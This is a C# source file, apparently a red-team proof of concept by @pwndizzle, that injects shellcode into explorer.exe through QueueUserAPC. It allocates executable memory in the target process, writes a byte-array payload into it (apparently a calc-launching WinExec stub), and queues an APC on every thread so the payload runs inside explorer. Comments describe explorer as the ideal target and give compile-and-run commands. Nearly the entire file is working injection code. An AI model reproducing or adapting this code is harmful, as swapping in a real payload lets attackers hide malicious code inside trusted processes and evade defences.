// APC injection into any process by @pwndizzle // In this module I use QueueAPC to assign every thread in a specific process an APC to execute // For threads to execute APCs the thread must enter the "alertable" state. I couldn't find any way to force this (aside from thread hijacking) // Luckily threads in explorer very often are alertable making it the perfect target for exploitation // // TODO: Find a clean way to trigger alertable state // // To run: // C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe apc-injection-any-process.cs && apc-injection-any-process.exe using System; using System.Reflection; using System.Diagnostics; using System.Runtime.InteropServices; public class ApcInjectionAnyProcess { public static void Main() { byte[] shellcode = new byte[112] { 0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3 }; // Open process. "explorer" is a good target due to the large number of threads which will enter alertable state Process targetProcess = Process.GetProcessesByName("explorer")[0]; IntPtr procHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id); // Allocate memory within process and write shellcode IntPtr resultPtr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE); IntPtr bytesWritten = IntPtr.Zero; bool resultBool = WriteProcessMemory(procHandle,resultPtr,shellcode,shellcode.Length, out bytesWritten); // Modify memory permissions on shellcode from XRW to XR uint oldProtect = 0; resultBool = VirtualProtectEx(procHandle, resultPtr, shellcode.Length, PAGE_EXECUTE_READ, out oldProtect); // Iterate over threads and queueapc foreach (ProcessThread thread in targetProcess.Threads) { //Get handle to thread IntPtr tHandle = OpenThread(ThreadAccess.THREAD_HIJACK, false, (int)thread.Id); //Assign APC to thread to execute shellcode IntPtr ptr = QueueUserAPC(resultPtr, tHandle, IntPtr.Zero); } } // Memory permissions private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; private static UInt32 PAGE_READWRITE = 0x04; private static UInt32 PAGE_EXECUTE_READ = 0x20; // Process privileges const int PROCESS_CREATE_THREAD = 0x0002; const int PROCESS_QUERY_INFORMATION = 0x0400; const int PROCESS_VM_OPERATION = 0x0008; const int PROCESS_VM_WRITE = 0x0020; const int PROCESS_VM_READ = 0x0010; [Flags] public enum ThreadAccess : int { TERMINATE = (0x0001), SUSPEND_RESUME = (0x0002), GET_CONTEXT = (0x0008), SET_CONTEXT = (0x0010), SET_INFORMATION = (0x0020), QUERY_INFORMATION = (0x0040), SET_THREAD_TOKEN = (0x0080), IMPERSONATE = (0x0100), DIRECT_IMPERSONATION = (0x0200), THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT, THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION } [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, int dwThreadId); [DllImport("kernel32.dll",SetLastError = true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); [DllImport("kernel32")] public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr, Int32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32.dll", SetLastError = true )] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll")] public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect); }